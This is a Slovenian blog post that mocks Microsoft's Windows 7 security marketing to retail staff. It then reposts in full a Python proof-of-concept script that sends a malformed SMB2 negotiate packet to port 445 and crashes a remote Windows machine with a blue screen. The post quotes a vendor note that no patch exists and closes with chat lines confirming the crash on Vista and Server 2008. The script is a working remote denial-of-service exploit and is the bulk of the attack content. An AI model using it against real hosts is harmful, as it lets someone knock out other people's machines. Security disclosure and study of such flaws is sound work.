Windows 7, security, Linux, patchi, in en 0-day
Pred par dnevi je na slashdotu pojavil topic1 o Microsoftovih training slajdih, kjer so BestBuy zaposlene izobraževali kok je Win7 "ql", in kok je Linux "beden". Konkreten slajd, ki mi je privlekel pozornost je bil tudi:
Torej... ko pride do kakega grdega b00ga, exploita ipd, so userji "on their own", če uporabljajo Microsoft priozvode, so pa "safe and secure"...
No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD. In kako je sedaj z 'zagarantirano varnostjo'? Citiram:
Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.
Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo 
In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:
#!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
ps: zadeva se je pojavila tudi na slashdotu (click here)
pps:
(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade